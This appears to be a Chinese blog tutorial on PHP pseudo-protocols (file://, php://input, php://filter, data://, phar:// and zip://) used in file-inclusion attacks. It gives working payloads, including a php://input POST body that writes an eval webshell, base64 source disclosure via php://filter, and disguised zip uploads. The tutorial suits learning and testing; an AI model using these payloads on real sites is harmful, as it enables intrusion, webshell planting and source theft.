当前位置:网站首页>【PHP伪协议】源码读取、文件读写、任意php命令执行
【PHP伪协议】源码读取、文件读写、任意php命令执行
2022-07-25 17:08:00 【黑色地带(崛起)】
目录
2.4、phar://、zip://、bzip2://、zlib://
一、简介
1.1、概述:
PHP 伪协议 是 PHP 支持的协议与封装协议,可利用这些协议完成许多命令执行
1.2、12个php支持的伪协议
file:// 访问本地文件系统
http:// 访问 HTTP(s) 网址
ftp:// 访问 FTP(s) URLs
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// PHP 归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流1.3、前提:
php.ini里有两个参数
allow_url_fopen:允许url里的封装协议访问文件(默认ON)
allow_url_include:不允许包含url里的封装协议包含文件(默认OFF)
二、示例
2.1、file://
前提:
allow_url_fopen:off/on
allow_url_include :off/on
即不受allow_url_fopen与allow_url_include的影响
用法:
file://文件绝对路径
?file=file://D:/xxxx/1.txt
file=相对路径
?file=./1.txt
file=网址路径
?file=http://127.0.0.1/1.txt
2.2、php:// 协议
前提:
allow_url_fopen:off/on
allow_url_include :开on的有php://input php://stdin php://memory php://temp
协议 介绍 php://input 1、可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分
2、在enctype="multipart/form-data" 的时候php://input 是无效的
php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区 php://fd (>=5.3.6)允许直接访问指定的文件描述符 php://memory php://temp 1、(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据
2、两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://filter 1、(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用
2、对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
php://input
allow_url_fopen=on 和 allow_url_include=on
POST提交PHP代码,造成任意代码执行,如写入文件(木马)
php://input + [POST DATA]
eg:
URL中:……?file=http://input
POST中:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST['123'])?>');?>
php://filter
读取文件源码
php://filter可获取指定文件源码,如果再利用包含函数漏洞,php://filter流会被当作php文件执行,一般对其进行编码,使其不被执行,获取到编码后解码,从而达到任意文件的读取
……?file=php://filter/read=convert.base64-encode/resource=文件路径
2.3、data://
前提:
allow_url_fopen:on
allow_url_include :on
简介:
数据流封装器,以传递相应格式的数据
可以用来执行PHP代码
用法:
data://text/plain,内容
data://text/plain;base64,base64加密内容
示例:
……?file=data://text/plain,<?php%20phpinfo();?>
……?file=data://text/plain;base64,base64加密后内容
2.4、phar://、zip://、bzip2://、zlib://
简介:
用于读取压缩文件,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀
前提:
allow_url_fopen:off/on
allow_url_include :off/on
用法:
phar://[压缩文件路径]/[压缩文件内的子文件名]
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](%23为#)
compress.bzip2://file.bz2
示例:
1、将php文件添加到压缩文件中(phar)
……?file=phar://D:/……1.zip/1.php
2、将php文件添加到1.zip中,并将1.zip重命名为1.jpg,再上传到目标服务器(zip)
……?file=zip://D:/……1.jpg%231.php
3、压缩1.php为1.bz2(bzip2)
……?file=compress.bzip2://D:/……1.bz2
边栏推荐
- 接口自动化测试Postman+Newman+Jenkins
- 【知识图谱】实践篇——基于医疗知识图谱的问答系统实践(Part4):结合问题分类的问题解析与检索语句生成
- Dynamic planning topic record
- [Nanjing University of Aeronautics and Astronautics] information sharing for the first and second examinations of postgraduate entrance examination
- [mathematical modeling and drawing series tutorial] II. Drawing and optimization of line chart
- 虚拟内存管理
- MySQL view
- 多租户软件开发架构
- Roson的Qt之旅#99 QML表格控件-TableView
- Technical difficulties and applications of large humanoid robots
猜你喜欢

Rainbow plug-in extension: monitor MySQL based on MySQL exporter

【数学建模绘图系列教程】二、折线图的绘制与优化

Fudan University emba2022 graduation season - graduation does not forget the original intention and glory to embark on the journey again

Why 4everland is the best cloud computing platform for Web 3.0
![Sogou batch push software - Sogou batch push tool [2022 latest]](/img/87/d89c8d301743d1087d001a4f97de02.jpg)
Sogou batch push software - Sogou batch push tool [2022 latest]

第六章 继承

【obs】转载:OBS直播严重延迟和卡顿怎么办?

备考过程中,这些“谣言”千万不要信!

Birui data joins Alibaba cloud polardb open source database community

免费的低代码开发平台有哪些?
随机推荐
How to install govendor and open a project
[Nanjing University of Aeronautics and Astronautics] information sharing for the first and second examinations of postgraduate entrance examination
Chapter V: process control
Chapter 4: operators
大型仿人机器人的技术难点和应用情况
Lvgl 7.11 tileview interface cycle switching
【知识图谱】实践篇——基于医疗知识图谱的问答系统实践(Part5-完结):信息检索与结果组装
第五章:流程控制
152. 乘积最大子数组
China's chip self-sufficiency rate has increased significantly, resulting in high foreign chip inventories and heavy losses. American chips can be said to have thrown themselves in the foot
气数已尽!运营 23 年,昔日“国内第一大电商网站”黄了。。。
[target detection] tph-yolov5: UAV target detection based on Transformer's improved yolov5
Using rank to discuss the solution of linear equations / the positional relationship of three planes
Enterprise live broadcast: witness focused products, praise and embrace ecology
After 20 years of agitation, the chip production capacity has started from zero to surpass that of the United States, which is another great achievement made in China
jenkins的文件参数,可以用来上传文件
Why 4everland is the best cloud computing platform for Web 3.0
Random talk on generation diffusion model: DDPM = Bayesian + denoising
Page table cache of Linux kernel source code analysis
Enumeration classes and magic values